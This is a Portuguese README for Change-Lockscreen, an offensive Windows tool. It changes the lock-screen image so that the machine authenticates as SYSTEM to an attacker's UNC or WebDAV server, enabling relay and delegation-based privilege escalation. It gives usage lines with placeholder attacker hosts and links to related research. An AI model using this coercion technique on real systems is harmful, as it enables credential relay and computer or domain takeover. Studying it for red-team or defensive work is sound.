Change-Lockscreen

Change-Lockscreen é uma ferramenta para disparar autenticações de rede como SYSTEM ao alterar a imagem da tela de bloqueio do Windows pela linha de comando, a fim de realizar ataques de elevação de privilégio como o descrito no post vinculado abaixo:

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

Funcionalidades

Por padrão, o Windows 10 tem um recurso chamado Windows Spotlight. Ele baixa e exibe imagens da tela de bloqueio automaticamente.

• Quando esse recurso está habilitado, o Change-Lockscreen o desabilitará e definirá a imagem especificada nos argumentos
• Caso contrário, se o usuário tiver uma imagem personalizada de tela de bloqueio, o Change-Lockscreen será responsável por executar um backup dela, disparar a autenticação de rede e restabelecê-la

Nota: embora a versão em PowerShell da ferramenta funcione de forma confiável, a versão em C# às vezes falha ao restaurar a imagem original.

Uso

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

Autores

• Simone Salucci
• Daniel López Jiménez

Agradecimentos

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/